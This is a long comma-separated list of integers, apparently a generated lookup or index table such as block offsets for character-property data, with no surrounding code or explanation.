5385, 5393, 5401, 5409, 5417, 5425, 5433, 5441, 5449, 5457, 5465, 5473, 5481, 5489, 5497, 5505, 5513, 5521, 5529, 5537, 5545, 5553, 5561, 5569, 5577, 5585, 5593, 5601, 5609, 5617, 5625, 5633, 5641, 5649, 5657, 5665, 5673, 5681, 5689, 5697, 5705, 5713, 5721, 5729, 5737, 5745, 5753, 5761, 5769, 5777, 5785, 5793, 5801, 5809, 5817, 5825, 5833, 5841, 5849, 5857, 5865, 5873, 5881, 5889, 5897, 5905, 5913, 5921, 5929, 5937, 5945, 5953, 5961, 5969, 5977, 5985, 5993, 6001, 6009, 6017, 6025, 6033, 6041, 6049, 6057, 6065, 6073, 6081, 6089, 6097, 6105, 6113, 6121, 6129, 6137, 6145, 6153, 6161, 6169, 6177, 6185, 6193, 6201, 6209, 6217, 6225, 6233, 6241, 6249, 6257, 6265, 6273, 6281, 6289, 6297, 6305, 6313, 6321, 6329, 6337, 6345, 6353, 6361, 6369, 6377, 6385, 6393, 6401, 6409, 6417, 6425, 6433, 6441, 6449, 6457, 6465, 6473, 6481, 6489, 6497, 6505, 6513, 6521, 6529, 6537, 6545, 6553, 6561, 6569, 6577, 6585, 6593, 6601, 6609, 6617, 6625, 6633, 6641, 6649, 6657, 6665, 6673, 6681, 6689, 6697, 6705, 6713, 6721, 6729, 6737, 6745, 6753, 6761, 6769, 6777, 6785, 6793, 6801, 6809, 6817, 6825, 6833, 6841, 6849, 6857, 6865, 6873, 6881, 6889, 6897, 6905, 6913, 6921, 6929, 6937, 6945, 6953, 6961, 6969, 6977, 6985, 6993, 7001, 7009, 7017, 7025, 7033, 7041, 7049, 7057, 7065, 7073, 7081, 7089, 7097, 7105, 7113, 7121, 7129, 7137, 7145, 7153, 7161, 7169, 7177, 7185, 7193, 7201, 7209, 7217, 7225, 7233, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7249, 7257, 7265, 7273, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7281, 7289, 7297, 7305, 7305, 7305, 7305, 7313, 7321, 7329, 7337, 7345, 7353, 7353, 7353, 7361, 7369, 7377, 7385, 7393, 7401, 7409, 7417, 7425, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7241, 7972, 7972, 8100, 8164, 8228, 8292, 8356, 8420, 8484, 8548, 8612, 8676, 8740, 8804, 8868, 8932, 8996, 9060, 9124, 9188, 9252, 9316, 9380, 9444, 9508, 9572, 9636, 9700, 9764, 9828, 9892, 9956, 2593, 2657, 2721, 2529, 2785, 2529, 2849, 2913, 2977, 3041, 3105, 3169, 3233, 3297, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 3361, 2529, 2529, 2529, 3425, 2529, 2529, 3489, 3553, 2529, 3617, 3681, 3745, 3809, 3873, 3937, 4001, 4065, 4129, 4193, 4257, 4321, 4385, 4449, 4513, 4577, 4641, 4705, 4769, 4833, 4897, 4961, 5025, 5089, 5153, 5217, 5281, 5345, 5409, 5473, 5537, 5601, 5665, 5729, 5793, 5857, 5921, 5985, 6049, 6113, 6177, 6241, 6305, 6369, 6433, 6497, 6561, 6625, 6689, 6753, 6817, 6881, 6945, 7009, 7073, 7137, 7201, 7265, 7329, 7393, 7457, 7521, 7585, 7649, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 2529, 7713, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7433, 7433, 7433, 7433, 7433, 7433, 7433, 7441, 7449, 7457, 7457, 7457, 7457, 7457, 7457, 7465, 2009, 2009, 2009, 2009, 7473, 7473, 7473, 7473, 7473, 7473, 7473, 7473, 7481, 7489, 7497, 7505, 7505, 7505, 7505, 7505, 7513, 7521, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7529, 7529, 7537, 7545, 7545, 7545, 7545, 7545, 7553, 7561, 7561, 7561, 7561, 7561, 7561, 7561, 7569, 7577, 7585, 7593, 7593, 7593, 7593, 7593, 7593, 7601, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7609, 7617, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7625, 7633, 7641, 7649, 7657, 7665, 7673, 7681, 7689, 7697, 7705, 2009, 7713, 7721, 7729, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7737, 7745, 7753, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7761, 7769, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7777, 7785, 7793, 7801, 7809, 7809, 7809, 7809, 7809, 7809, 7817, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7825, 7833, 7841, 7849, 2009, 2009, 2009, 7857, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7865, 7865, 7865, 7865, 7865, 7865, 7865, 7865, 7865, 7865, 7865, 7873, 7881, 7889, 7897, 7897, 7897, 7897, 7905, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7913, 7921, 7929, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7937, 7937, 7937, 7937, 7937, 7937, 7937, 7945, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 2009, 7953, 7953, 7953, 7953, 7953, 7953, 7953, 2009, 7961, 7969, 7977, 7985, 7993, 2009, 2009, 8001, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8009, 8017, 8025, 8025, 8025, 8025, 8025, 8025, 8025, 8033, 8041, 8049, 8057, 8065, 8073, 8081, 8081, 8081, 8081, 8081, 8081, 8081, 8081, 8081, 8081, 8081, 8089, 2009, 8097, 8097, 8097, 8105, 2009, 2009, 2009, 2009, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 8113, 